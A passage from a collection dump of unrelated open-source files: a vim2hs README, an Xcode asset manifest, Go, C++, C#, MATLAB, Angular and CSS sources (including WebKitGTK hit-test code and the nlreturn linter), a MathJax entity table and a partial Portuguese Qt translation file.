range of lines with Vim's VISUAL modes and\ntype the same as above, which should result in this:\n\n```\n:'<,'>HPaste\n```\n\nWhich of course will paste the selected lines only.\n\nIf you get tired of entering your author name every time you can configure\nit globally like so:\n\n```vim\nlet g:hpaste_author = 'donri'\n```\n\n### UltiSnips\n\nIf you're using the excellent\n[UltiSnips](https://github.com/sirver/ultisnips) Vimscript, vim2hs provides\nsome useful snippets for Haskell programming. You can list all active\nsnippets by hitting `Ctrl+Tab` in INPUT mode.\n\n### Tabular\n\nAnother useful Vimscript is\n[Tabular](https://github.com/godlygeek/tabular). If it's installed, vim2hs\nadds some named patterns useful for maintaining layout in Haskell code.\nYou can list all named patterns by tab-completing after entering the\n`:Tabularize` command. You probably want to configure some mappings or\ncommands for the ones you find useful.\n\nTo disable them, use this configuration:\n\n```vim\nlet g:haskell_tabular = 0\n```\n"} {"text": "{\n \"images\": [\n {\n \"filename\": \"ic_not_interested_white_36pt.png\",\n \"idiom\": \"universal\",\n \"scale\": \"1x\"\n },\n {\n \"filename\": \"ic_not_interested_white_36pt_2x.png\",\n \"idiom\": \"universal\",\n \"scale\": \"2x\"\n },\n {\n \"filename\": \"ic_not_interested_white_36pt_3x.png\",\n \"idiom\": \"universal\",\n \"scale\": \"3x\"\n }\n ],\n \"info\": {\n \"author\": \"xcode\",\n \"version\": 1\n }\n}\n"} {"text": "/*\n * Tencent is pleased to support the open source community by making TKEStack\n * available.\n *\n * Copyright (C) 2012-2019 Tencent. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use\n * this file except in compliance with the License. You may obtain a copy of the\n * License at\n *\n * https://opensource.org/licenses/Apache-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OF ANY KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\n// +k8s:deepcopy-gen=package\n// +groupName=notify.tkestack.io\n\n// Package notify is the internal version of the API.\npackage notify // import \"tkestack.io/tke/api/notify\"\n"} {"text": "h1, h2 { padding: 3px; }\r\nh1 { background-color: #DB944D;}\r\nh2 { background-color: lightGrey;}\r\np { margin-left: 1em; }\r\np.expl { margin-left: 2em; }\r\ncode { color: #191970 }\r\n\r\npre {\r\n\t\tbackground-color: #F0F0F0;\r\n\t\tpadding: 3px;\r\n\t\tmargin-left: 1em;\r\n}\r\n\r\ntable {\r\n\tborder: 2px solid black;\r\n\tborder-collapse: collapse;\r\n\tmargin-left: 1em;\r\n}\r\n\r\ntable td, th {\r\n\tborder: 1px black solid;\r\n\tpadding: 5px;\r\n}\r\n"} {"text": "function [newIndex] = cycle(index, cycleLength)\r\n%function [newIndex] = cycle(index, cycleLength)\r\n%function to facilitate indexing on cyclical structures.\r\n%The new index if the index cycled around on a structure of length cycleLength.\r\n%e.g.: cycle(11, 10) = 1, cycle(12, 10) = 2, cycle(9, 10) = 9, etc.\r\n%'index' can be a vector.\r\n%JOD, Feb 02.\r\n%\r\n% Copyright 2010, Joseph O. Deasy, on behalf of the CERR development team.\r\n% \r\n% This file is part of The Computational Environment for Radiotherapy Research (CERR).\r\n% \r\n% CERR development has been led by: Aditya Apte, Divya Khullar, James Alaly, and Joseph O. Deasy.\r\n% \r\n% CERR has been financially supported by the US National Institutes of Health under multiple grants.\r\n% \r\n% CERR is distributed under the terms of the Lesser GNU Public License. \r\n% \r\n% This version of CERR is free software: you can redistribute it and/or modify\r\n% it under the terms of the GNU General Public License as published by\r\n% the Free Software Foundation, either version 3 of the License, or\r\n% (at your option) any later version.\r\n% \r\n% CERR is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\r\n% without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\r\n% See the GNU General Public License for more details.\r\n% \r\n% You should have received a copy of the GNU General Public License\r\n% along with CERR. If not, see <http://www.gnu.org/licenses/>.\r\n\r\nnewIndex = zeros(size(index));\r\n\r\nfor i = 1 : length(index)\r\n if index(i) > cycleLength\r\n newIndex(i) = index(i) - cycleLength;\r\n elseif index(i) < 1\r\n newIndex(i) = cycleLength + index(i);\r\n else\r\n newIndex(i) = index(i);\r\n end\r\nend\r\n"} {"text": "import { Injectable } from '@angular/core';\nimport { CanActivate, Router } from '@angular/router';\n\nimport { Observable } from 'rxjs';\nimport { map } from 'rxjs/operators';\n\nimport { AuthService } from '../services';\n\n@Injectable({ providedIn: 'root' })\nexport class AuthGuard implements CanActivate {\n constructor(private router: Router, private authService: AuthService) {}\n\n canActivate(): Observable<boolean> {\n return this.authService.getUser().pipe(\n map(user => {\n if (user !== null) {\n return true;\n }\n\n this.router.navigateByUrl('/auth/login');\n return false;\n })\n );\n }\n}\n"} {"text": "/*\n * Copyright (C) 2012 Igalia S.L.\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n */\n\n#include \"config.h\"\n#include \"WebKitHitTestResult.h\"\n\n#include \"WebHitTestResultData.h\"\n#include \"WebKitHitTestResultPrivate.h\"\n#include <glib/gi18n-lib.h>\n#include <wtf/text/CString.h>\n\nusing namespace WebKit;\n\n/**\n * SECTION: WebKitHitTestResult\n * @Short_description: Result of a Hit Test\n * @Title: WebKitHitTestResult\n * @See_also: #WebKitWebView\n *\n * A Hit Test is an operation to get context information about a given\n * point in a #WebKitWebView. #WebKitHitTestResult represents the\n * result of a Hit Test. It provides context information about what is\n * at the coordinates of the Hit Test, such as if there's a link,\n * an image or a media.\n *\n * You can get the context of the HitTestResult with\n * webkit_hit_test_result_get_context() that returns a bitmask of\n * #WebKitHitTestResultContext flags. You can also use\n * webkit_hit_test_result_context_is_link(), webkit_hit_test_result_context_is_image() and\n * webkit_hit_test_result_context_is_media() to determine whether there's\n * a link, image or a media element at the coordinates of the Hit Test.\n * Note that it's possible that several #WebKitHitTestResultContext flags\n * are active at the same time, for example if there's a link containing an image.\n *\n * When the mouse is moved over a #WebKitWebView a Hit Test is performed\n * for the mouse coordinates and #WebKitWebView::mouse-target-changed\n * signal is emitted with a #WebKitHitTestResult.\n *\n */\n\nenum {\n PROP_0,\n\n PROP_CONTEXT,\n PROP_LINK_URI,\n PROP_LINK_TITLE,\n PROP_LINK_LABEL,\n PROP_IMAGE_URI,\n PROP_MEDIA_URI\n};\n\nstruct _WebKitHitTestResultPrivate {\n unsigned int context;\n CString linkURI;\n CString linkTitle;\n CString linkLabel;\n CString imageURI;\n CString mediaURI;\n};\n\nWEBKIT_DEFINE_TYPE(WebKitHitTestResult, webkit_hit_test_result, G_TYPE_OBJECT)\n\nstatic void webkitHitTestResultGetProperty(GObject* object, guint propId, GValue* value, GParamSpec* paramSpec)\n{\n WebKitHitTestResult* hitTestResult = WEBKIT_HIT_TEST_RESULT(object);\n\n switch (propId) {\n case PROP_CONTEXT:\n g_value_set_uint(value, webkit_hit_test_result_get_context(hitTestResult));\n break;\n case PROP_LINK_URI:\n g_value_set_string(value, webkit_hit_test_result_get_link_uri(hitTestResult));\n break;\n case PROP_LINK_TITLE:\n g_value_set_string(value, webkit_hit_test_result_get_link_title(hitTestResult));\n break;\n case PROP_LINK_LABEL:\n g_value_set_string(value, webkit_hit_test_result_get_link_label(hitTestResult));\n break;\n case PROP_IMAGE_URI:\n g_value_set_string(value, webkit_hit_test_result_get_image_uri(hitTestResult));\n break;\n case PROP_MEDIA_URI:\n g_value_set_string(value, webkit_hit_test_result_get_media_uri(hitTestResult));\n break;\n default:\n G_OBJECT_WARN_INVALID_PROPERTY_ID(object, propId, paramSpec);\n }\n}\n\nstatic void webkitHitTestResultSetProperty(GObject* object, guint propId, const GValue* value, GParamSpec* paramSpec)\n{\n WebKitHitTestResult* hitTestResult = WEBKIT_HIT_TEST_RESULT(object);\n\n switch (propId) {\n case PROP_CONTEXT:\n hitTestResult->priv->context = g_value_get_uint(value);\n break;\n case PROP_LINK_URI:\n hitTestResult->priv->linkURI = g_value_get_string(value);\n break;\n case PROP_LINK_TITLE:\n hitTestResult->priv->linkTitle = g_value_get_string(value);\n break;\n case PROP_LINK_LABEL:\n hitTestResult->priv->linkLabel = g_value_get_string(value);\n break;\n case PROP_IMAGE_URI:\n hitTestResult->priv->imageURI = g_value_get_string(value);\n break;\n case PROP_MEDIA_URI:\n hitTestResult->priv->mediaURI = g_value_get_string(value);\n break;\n default:\n G_OBJECT_WARN_INVALID_PROPERTY_ID(object, propId, paramSpec);\n }\n}\n\nstatic void webkit_hit_test_result_class_init(WebKitHitTestResultClass* hitTestResultClass)\n{\n GObjectClass* objectClass = G_OBJECT_CLASS(hitTestResultClass);\n objectClass->get_property = webkitHitTestResultGetProperty;\n objectClass->set_property = webkitHitTestResultSetProperty;\n\n GParamFlags paramFlags = static_cast<GParamFlags>(WEBKIT_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY);\n\n /**\n * WebKitHitTestResult:context:\n *\n * Bitmask of #WebKitHitTestResultContext flags representing\n * the context of the #WebKitHitTestResult.\n */\n g_object_class_install_property(objectClass,\n PROP_CONTEXT,\n g_param_spec_uint(\"context\",\n _(\"Context\"),\n _(\"Flags with the context of the WebKitHitTestResult\"),\n 0, G_MAXUINT, 0,\n paramFlags));\n\n /**\n * WebKitHitTestResult:link-uri:\n *\n * The URI of the link if flag %WEBKIT_HIT_TEST_RESULT_CONTEXT_LINK\n * is present in #WebKitHitTestResult:context\n */\n g_object_class_install_property(objectClass,\n PROP_LINK_URI,\n g_param_spec_string(\"link-uri\",\n _(\"Link URI\"),\n _(\"The link URI\"),\n 0,\n paramFlags));\n /**\n * WebKitHitTestResult:link-title:\n *\n * The title of the link if flag %WEBKIT_HIT_TEST_RESULT_CONTEXT_LINK\n * is present in #WebKitHitTestResult:context\n */\n g_object_class_install_property(objectClass,\n PROP_LINK_TITLE,\n g_param_spec_string(\"link-title\",\n _(\"Link Title\"),\n _(\"The link title\"),\n 0,\n paramFlags));\n /**\n * WebKitHitTestResult:link-label:\n *\n * The label of the link if flag %WEBKIT_HIT_TEST_RESULT_CONTEXT_LINK\n * is present in #WebKitHitTestResult:context\n */\n g_object_class_install_property(objectClass,\n PROP_LINK_LABEL,\n g_param_spec_string(\"link-label\",\n _(\"Link Label\"),\n _(\"The link label\"),\n 0,\n paramFlags));\n /**\n * WebKitHitTestResult:image-uri:\n *\n * The URI of the image if flag %WEBKIT_HIT_TEST_RESULT_CONTEXT_IMAGE\n * is present in #WebKitHitTestResult:context\n */\n g_object_class_install_property(objectClass,\n PROP_IMAGE_URI,\n g_param_spec_string(\"image-uri\",\n _(\"Image URI\"),\n _(\"The image URI\"),\n 0,\n paramFlags));\n /**\n * WebKitHitTestResult:media-uri:\n *\n * The URI of the media if flag %WEBKIT_HIT_TEST_RESULT_CONTEXT_MEDIA\n * is present in #WebKitHitTestResult:context\n */\n g_object_class_install_property(objectClass,\n PROP_MEDIA_URI,\n g_param_spec_string(\"media-uri\",\n _(\"Media URI\"),\n _(\"The media URI\"),\n 0,\n paramFlags));\n}\n\nWebKitHitTestResult* webkitHitTestResultCreate(const WebHitTestResultData& hitTestResult)\n{\n unsigned context = WEBKIT_HIT_TEST_RESULT_CONTEXT_DOCUMENT;\n\n if (!hitTestResult.absoluteLinkURL.isEmpty())\n context |= WEBKIT_HIT_TEST_RESULT_CONTEXT_LINK;\n\n if (!hitTestResult.absoluteImageURL.isEmpty())\n context |= WEBKIT_HIT_TEST_RESULT_CONTEXT_IMAGE;\n\n if (!hitTestResult.absoluteMediaURL.isEmpty())\n context |= WEBKIT_HIT_TEST_RESULT_CONTEXT_MEDIA;\n\n if (hitTestResult.isContentEditable)\n context |= WEBKIT_HIT_TEST_RESULT_CONTEXT_EDITABLE;\n\n if (hitTestResult.isScrollbar)\n context |= WEBKIT_HIT_TEST_RESULT_CONTEXT_SCROLLBAR;\n\n if (hitTestResult.isSelected)\n context |= WEBKIT_HIT_TEST_RESULT_CONTEXT_SELECTION;\n\n return WEBKIT_HIT_TEST_RESULT(g_object_new(WEBKIT_TYPE_HIT_TEST_RESULT,\n \"context\", context,\n \"link-uri\", context & WEBKIT_HIT_TEST_RESULT_CONTEXT_LINK ? hitTestResult.absoluteLinkURL.utf8().data() : nullptr,\n \"image-uri\", context & WEBKIT_HIT_TEST_RESULT_CONTEXT_IMAGE ? hitTestResult.absoluteImageURL.utf8().data() : nullptr,\n \"media-uri\", context & WEBKIT_HIT_TEST_RESULT_CONTEXT_MEDIA ? hitTestResult.absoluteMediaURL.utf8().data() : nullptr,\n \"link-title\", !hitTestResult.linkTitle.isEmpty() ? hitTestResult.linkTitle.utf8().data() : nullptr,\n \"link-label\", !hitTestResult.linkLabel.isEmpty() ? hitTestResult.linkLabel.utf8().data() : nullptr,\n nullptr));\n}\n\nstatic bool stringIsEqualToCString(const String& string, const CString& cString)\n{\n return ((string.isEmpty() && cString.isNull()) || (string.utf8() == cString));\n}\n\nbool webkitHitTestResultCompare(WebKitHitTestResult* hitTestResult, const WebHitTestResultData& webHitTestResult)\n{\n WebKitHitTestResultPrivate* priv = hitTestResult->priv;\n return webHitTestResult.isContentEditable == webkit_hit_test_result_context_is_editable(hitTestResult)\n && webHitTestResult.isScrollbar == webkit_hit_test_result_context_is_scrollbar(hitTestResult)\n && webHitTestResult.isSelected == webkit_hit_test_result_context_is_selection(hitTestResult)\n && stringIsEqualToCString(webHitTestResult.absoluteLinkURL, priv->linkURI)\n && stringIsEqualToCString(webHitTestResult.linkTitle, priv->linkTitle)\n && stringIsEqualToCString(webHitTestResult.linkLabel, priv->linkLabel)\n && stringIsEqualToCString(webHitTestResult.absoluteImageURL, priv->imageURI)\n && stringIsEqualToCString(webHitTestResult.absoluteMediaURL, priv->mediaURI);\n}\n\n/**\n * webkit_hit_test_result_get_context:\n * @hit_test_result: a #WebKitHitTestResult\n *\n * Gets the value of the #WebKitHitTestResult:context property.\n *\n * Returns: a bitmask of #WebKitHitTestResultContext flags\n */\nguint webkit_hit_test_result_get_context(WebKitHitTestResult* hitTestResult)\n{\n g_return_val_if_fail(WEBKIT_IS_HIT_TEST_RESULT(hitTestResult), 0);\n\n return hitTestResult->priv->context;\n}\n\n/**\n * webkit_hit_test_result_context_is_link:\n * @hit_test_result: a #WebKitHitTestResult\n *\n * Gets whether %WEBKIT_HIT_TEST_RESULT_CONTEXT_LINK flag is present in\n * #WebKitHitTestResult:context.\n *\n * Returns: %TRUE if there's a link element in the coordinates of the Hit Test,\n * or %FALSE otherwise\n */\ngboolean webkit_hit_test_result_context_is_link(WebKitHitTestResult* hitTestResult)\n{\n g_return_val_if_fail(WEBKIT_IS_HIT_TEST_RESULT(hitTestResult), FALSE);\n\n return hitTestResult->priv->context & WEBKIT_HIT_TEST_RESULT_CONTEXT_LINK;\n}\n\n/**\n * webkit_hit_test_result_context_is_image:\n * @hit_test_result: a #WebKitHitTestResult\n *\n * Gets whether %WEBKIT_HIT_TEST_RESULT_CONTEXT_IMAGE flag is present in\n * #WebKitHitTestResult:context.\n *\n * Returns: %TRUE if there's an image element in the coordinates of the Hit Test,\n * or %FALSE otherwise\n */\ngboolean webkit_hit_test_result_context_is_image(WebKitHitTestResult* hitTestResult)\n{\n g_return_val_if_fail(WEBKIT_IS_HIT_TEST_RESULT(hitTestResult), FALSE);\n\n return hitTestResult->priv->context & WEBKIT_HIT_TEST_RESULT_CONTEXT_IMAGE;\n}\n\n/**\n * webkit_hit_test_result_context_is_media:\n * @hit_test_result: a #WebKitHitTestResult\n *\n * Gets whether %WEBKIT_HIT_TEST_RESULT_CONTEXT_MEDIA flag is present in\n * #WebKitHitTestResult:context.\n *\n * Returns: %TRUE if there's a media element in the coordinates of the Hit Test,\n * or %FALSE otherwise\n */\ngboolean webkit_hit_test_result_context_is_media(WebKitHitTestResult* hitTestResult)\n{\n g_return_val_if_fail(WEBKIT_IS_HIT_TEST_RESULT(hitTestResult), FALSE);\n\n return hitTestResult->priv->context & WEBKIT_HIT_TEST_RESULT_CONTEXT_MEDIA;\n}\n\n/**\n * webkit_hit_test_result_context_is_editable:\n * @hit_test_result: a #WebKitHitTestResult\n *\n * Gets whether %WEBKIT_HIT_TEST_RESULT_CONTEXT_EDITABLE flag is present in\n * #WebKitHitTestResult:context.\n *\n * Returns: %TRUE if there's an editable element at the coordinates of the @hit_test_result,\n * or %FALSE otherwise\n */\ngboolean webkit_hit_test_result_context_is_editable(WebKitHitTestResult* hitTestResult)\n{\n g_return_val_if_fail(WEBKIT_IS_HIT_TEST_RESULT(hitTestResult), FALSE);\n\n return hitTestResult->priv->context & WEBKIT_HIT_TEST_RESULT_CONTEXT_EDITABLE;\n}\n\n/**\n * webkit_hit_test_result_context_is_selection:\n * @hit_test_result: a #WebKitHitTestResult\n *\n * Gets whether %WEBKIT_HIT_TEST_RESULT_CONTEXT_SELECTION flag is present in\n * #WebKitHitTestResult:context.\n *\n * Returns: %TRUE if there's a selected element at the coordinates of the @hit_test_result,\n * or %FALSE otherwise\n *\n * Since: 2.8\n */\ngboolean webkit_hit_test_result_context_is_selection(WebKitHitTestResult* hitTestResult)\n{\n g_return_val_if_fail(WEBKIT_IS_HIT_TEST_RESULT(hitTestResult), FALSE);\n\n return hitTestResult->priv->context & WEBKIT_HIT_TEST_RESULT_CONTEXT_SELECTION;\n}\n\n/**\n * webkit_hit_test_result_get_link_uri:\n * @hit_test_result: a #WebKitHitTestResult\n *\n * Gets the value of the #WebKitHitTestResult:link-uri property.\n *\n * Returns: the URI of the link element in the coordinates of the Hit Test,\n * or %NULL if there ins't a link element in @hit_test_result context\n */\nconst gchar* webkit_hit_test_result_get_link_uri(WebKitHitTestResult* hitTestResult)\n{\n g_return_val_if_fail(WEBKIT_IS_HIT_TEST_RESULT(hitTestResult), 0);\n\n return hitTestResult->priv->linkURI.data();\n}\n\n/**\n * webkit_hit_test_result_get_link_title:\n * @hit_test_result: a #WebKitHitTestResult\n *\n * Gets the value of the #WebKitHitTestResult:link-title property.\n *\n * Returns: the title of the link element in the coordinates of the Hit Test,\n * or %NULL if there ins't a link element in @hit_test_result context or the\n * link element doesn't have a title\n */\nconst gchar* webkit_hit_test_result_get_link_title(WebKitHitTestResult* hitTestResult)\n{\n g_return_val_if_fail(WEBKIT_IS_HIT_TEST_RESULT(hitTestResult), 0);\n\n return hitTestResult->priv->linkTitle.data();\n}\n\n/**\n * webkit_hit_test_result_get_link_label:\n * @hit_test_result: a #WebKitHitTestResult\n *\n * Gets the value of the #WebKitHitTestResult:link-label property.\n *\n * Returns: the label of the link element in the coordinates of the Hit Test,\n * or %NULL if there ins't a link element in @hit_test_result context or the\n * link element doesn't have a label\n */\nconst gchar* webkit_hit_test_result_get_link_label(WebKitHitTestResult* hitTestResult)\n{\n g_return_val_if_fail(WEBKIT_IS_HIT_TEST_RESULT(hitTestResult), 0);\n\n return hitTestResult->priv->linkLabel.data();\n}\n\n/**\n * webkit_hit_test_result_get_image_uri:\n * @hit_test_result: a #WebKitHitTestResult\n *\n * Gets the value of the #WebKitHitTestResult:image-uri property.\n *\n * Returns: the URI of the image element in the coordinates of the Hit Test,\n * or %NULL if there ins't an image element in @hit_test_result context\n */\nconst gchar* webkit_hit_test_result_get_image_uri(WebKitHitTestResult* hitTestResult)\n{\n g_return_val_if_fail(WEBKIT_IS_HIT_TEST_RESULT(hitTestResult), 0);\n\n return hitTestResult->priv->imageURI.data();\n}\n\n/**\n * webkit_hit_test_result_get_media_uri:\n * @hit_test_result: a #WebKitHitTestResult\n *\n * Gets the value of the #WebKitHitTestResult:media-uri property.\n *\n * Returns: the URI of the media element in the coordinates of the Hit Test,\n * or %NULL if there ins't a media element in @hit_test_result context\n */\nconst gchar* webkit_hit_test_result_get_media_uri(WebKitHitTestResult* hitTestResult)\n{\n g_return_val_if_fail(WEBKIT_IS_HIT_TEST_RESULT(hitTestResult), 0);\n\n return hitTestResult->priv->mediaURI.data();\n}\n\n/**\n * webkit_hit_test_result_context_is_scrollbar:\n * @hit_test_result: a #WebKitHitTestResult\n *\n * Gets whether %WEBKIT_HIT_TEST_RESULT_CONTEXT_SCROLLBAR flag is present in\n * #WebKitHitTestResult:context.\n *\n * Returns: %TRUE if there's a scrollbar element at the coordinates of the @hit_test_result,\n * or %FALSE otherwise\n */\ngboolean webkit_hit_test_result_context_is_scrollbar(WebKitHitTestResult* hitTestResult)\n{\n g_return_val_if_fail(WEBKIT_IS_HIT_TEST_RESULT(hitTestResult), FALSE);\n\n return hitTestResult->priv->context & WEBKIT_HIT_TEST_RESULT_CONTEXT_SCROLLBAR;\n}\n"} {"text": "package nlreturn\n\nimport (\n\t\"fmt\"\n\t\"go/ast\"\n\t\"go/token\"\n\n\t\"golang.org/x/tools/go/analysis\"\n)\n\nconst (\n\tlinterName = \"nlreturn\"\n\tlinterDoc = `Linter requires a new line before return and branch statements except when the return is alone inside a statement group (such as an if statement) to increase code clarity.`\n)\n\n// NewAnalyzer returns a new nlreturn analyzer.\nfunc NewAnalyzer() *analysis.Analyzer {\n\treturn &analysis.Analyzer{\n\t\tName: linterName,\n\t\tDoc: linterDoc,\n\t\tRun: run,\n\t}\n}\n\nfunc run(pass *analysis.Pass) (interface{}, error) {\n\tfor _, f := range pass.Files {\n\t\tast.Inspect(f, func(node ast.Node) bool {\n\t\t\tswitch c := node.(type) {\n\t\t\tcase *ast.CaseClause:\n\t\t\t\tinspectBlock(pass, c.Body)\n\t\t\tcase *ast.CommClause:\n\t\t\t\tinspectBlock(pass, c.Body)\n\t\t\tcase *ast.BlockStmt:\n\t\t\t\tinspectBlock(pass, c.List)\n\t\t\t}\n\n\t\t\treturn true\n\t\t})\n\t}\n\n\treturn nil, nil\n}\n\nfunc inspectBlock(pass *analysis.Pass, block []ast.Stmt) {\n\tfor i, stmt := range block {\n\t\tswitch stmt.(type) {\n\t\tcase *ast.BranchStmt, *ast.ReturnStmt:\n\t\t\tif i == 0 {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif line(pass, stmt.Pos())-line(pass, block[i-1].End()) <= 1 {\n\t\t\t\tpass.Report(analysis.Diagnostic{\n\t\t\t\t\tPos: stmt.Pos(),\n\t\t\t\t\tMessage: fmt.Sprintf(\"%s with no blank line before\", name(stmt)),\n\t\t\t\t\tSuggestedFixes: []analysis.SuggestedFix{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tTextEdits: []analysis.TextEdit{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPos: stmt.Pos(),\n\t\t\t\t\t\t\t\t\tNewText: []byte(\"\\n\"),\n\t\t\t\t\t\t\t\t\tEnd: stmt.Pos(),\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc name(stmt ast.Stmt) string {\n\tswitch c := stmt.(type) {\n\tcase *ast.BranchStmt:\n\t\treturn c.Tok.String()\n\tcase *ast.ReturnStmt:\n\t\treturn \"return\"\n\tdefault:\n\t\treturn \"unknown\"\n\t}\n}\n\nfunc line(pass *analysis.Pass, pos token.Pos) int {\n\treturn pass.Fset.Position(pos).Line\n}\n"} {"text": "/* Copyright (C) 2014-2017 Tal Aloni <tal.aloni.il@gmail.com>. All rights reserved.\r\n * \r\n * You can redistribute this program and/or modify it under the terms of\r\n * the GNU Lesser Public License as published by the Free Software Foundation,\r\n * either version 3 of the License, or (at your option) any later version.\r\n */\r\nusing System;\r\nusing System.Collections.Generic;\r\nusing System.Text;\r\nusing SMBLibrary.SMB1;\r\nusing Utilities;\r\n\r\nnamespace SMBLibrary.Server.SMB1\r\n{\r\n internal partial class SMB1FileStoreHelper\r\n {\r\n public static NTStatus GetFileSystemInformation(out QueryFSInformation result, INTFileStore fileStore, QueryFSInformationLevel informationLevel)\r\n {\r\n result = null;\r\n FileSystemInformationClass informationClass;\r\n try\r\n {\r\n informationClass = QueryFSInformationHelper.ToFileSystemInformationClass(informationLevel);\r\n }\r\n catch (UnsupportedInformationLevelException)\r\n {\r\n return NTStatus.STATUS_OS2_INVALID_LEVEL;\r\n }\r\n\r\n FileSystemInformation fsInfo;\r\n NTStatus status = fileStore.GetFileSystemInformation(out fsInfo, informationClass);\r\n if (status != NTStatus.STATUS_SUCCESS)\r\n {\r\n return status;\r\n }\r\n\r\n result = QueryFSInformationHelper.FromFileSystemInformation(fsInfo);\r\n return NTStatus.STATUS_SUCCESS;\r\n }\r\n }\r\n}\r\n"} {"text": "/*\n * /MathJax/jax/input/MathML/entities/scr.js\n * \n * Copyright (c) 2012 Design Science, Inc.\n *\n * Part of the MathJax library.\n * See http://www.mathjax.org for details.\n * \n * Licensed under the Apache License, Version 2.0;\n * you may not use this file except in compliance with the License.\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n */\n\n(function(a){MathJax.Hub.Insert(a.Parse.Entity,{Ascr:\"\\uD835\\uDC9C\",Bscr:\"\\u212C\",Cscr:\"\\uD835\\uDC9E\",Dscr:\"\\uD835\\uDC9F\",Escr:\"\\u2130\",Fscr:\"\\u2131\",Gscr:\"\\uD835\\uDCA2\",Hscr:\"\\u210B\",Iscr:\"\\u2110\",Jscr:\"\\uD835\\uDCA5\",Kscr:\"\\uD835\\uDCA6\",Lscr:\"\\u2112\",Mscr:\"\\u2133\",Nscr:\"\\uD835\\uDCA9\",Oscr:\"\\uD835\\uDCAA\",Pscr:\"\\uD835\\uDCAB\",Qscr:\"\\uD835\\uDCAC\",Rscr:\"\\u211B\",Sscr:\"\\uD835\\uDCAE\",Tscr:\"\\uD835\\uDCAF\",Uscr:\"\\uD835\\uDCB0\",Vscr:\"\\uD835\\uDCB1\",Wscr:\"\\uD835\\uDCB2\",Xscr:\"\\uD835\\uDCB3\",Yscr:\"\\uD835\\uDCB4\",Zscr:\"\\uD835\\uDCB5\",ascr:\"\\uD835\\uDCB6\",bscr:\"\\uD835\\uDCB7\",cscr:\"\\uD835\\uDCB8\",dscr:\"\\uD835\\uDCB9\",escr:\"\\u212F\",fscr:\"\\uD835\\uDCBB\",gscr:\"\\u210A\",hscr:\"\\uD835\\uDCBD\",iscr:\"\\uD835\\uDCBE\",jscr:\"\\uD835\\uDCBF\",kscr:\"\\uD835\\uDCC0\",lscr:\"\\uD835\\uDCC1\",mscr:\"\\uD835\\uDCC2\",nscr:\"\\uD835\\uDCC3\",oscr:\"\\u2134\",pscr:\"\\uD835\\uDCC5\",qscr:\"\\uD835\\uDCC6\",rscr:\"\\uD835\\uDCC7\",sscr:\"\\uD835\\uDCC8\",tscr:\"\\uD835\\uDCC9\",uscr:\"\\uD835\\uDCCA\",vscr:\"\\uD835\\uDCCB\",wscr:\"\\uD835\\uDCCC\",xscr:\"\\uD835\\uDCCD\",yscr:\"\\uD835\\uDCCE\",zscr:\"\\uD835\\uDCCF\"});MathJax.Ajax.loadComplete(a.entityDir+\"/scr.js\")})(MathJax.InputJax.MathML);\n\n"} {"text": ".c-record-list {\n .c-record:not(:last-child) {\n border-bottom: 1px solid $hr-border-color;\n margin-bottom: 1rem;\n padding-bottom: 1rem;\n }\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE TS>\n<TS version=\"2.1\" language=\"pt\">\n<context>\n <name>AppDialog</name>\n <message>\n <location filename=\"../AppDialog.ui\" line=\"14\"/>\n <source>Select Application</source>\n <translation>Selecionar aplicação</translation>\n </message>\n <message>\n <location filename=\"../AppDialog.ui\" line=\"20\"/>\n <source>Search for....</source>\n <translation>Pesquisar por...</translation>\n </message>\n</context>\n<context>\n <name>ColorDialog</name>\n <message>\n <location filename=\"../ColorDialog.ui\" line=\"14\"/>\n <source>Color Scheme Editor</source>\n <translation>Editor do esquema de cores</translation>\n </message>\n <message>\n <location filename=\"../ColorDialog.ui\" line=\"28\"/>\n <source>Color Scheme:</source>\n <translation>Esquema de cores:</translation>\n </message>\n <message>\n <location filename=\"../ColorDialog.ui\" line=\"51\"/>\n <source>Set new color for selection</source>\n <translation>Definir uma nova cor para a seleção</translation>\n </message>\n <message>\n <location filename=\"../ColorDialog.ui\" line=\"54\"/>\n <location filename=\"../ColorDialog.ui\" line=\"70\"/>\n <source>...</source>\n <translation>...</translation>\n </message>\n <message>\n <location filename=\"../ColorDialog.ui\" line=\"67\"/>\n <source>Manually set value for selection</source>\n <translation>Definir valor manualmente</translation>\n </message>\n <message>\n <location filename=\"../ColorDialog.ui\" line=\"95\"/>\n <source>Color</source>\n <translation>Cor</translation>\n </message>\n <message>\n <location filename=\"../ColorDialog.ui\" line=\"100\"/>\n <source>Value</source>\n <translation>Valor</translation>\n </message>\n <message>\n <location filename=\"../ColorDialog.ui\" line=\"105\"/>\n <source>Sample</source>\n <translation>Amostra</translation>\n </message>\n <message>\n <location filename=\"../ColorDialog.ui\" line=\"115\"/>\n <source>Cancel</source>\n <translation>Cancelar</translation>\n </message>\n <message>\n <location filename=\"../ColorDialog.ui\" line=\"135\"/>\n <source>Save</source>\n <translation>Guardar</translation>\n </message>\n <message>\n <location filename=\"../ColorDialog.cpp\" line=\"98\"/>\n <source>Color Exists</source>\n <translation>Cor existente</translation>\n </message>\n <message>\n <location filename=\"../ColorDialog.cpp\" line=\"98\"/>\n <source>This color scheme already exists.\n 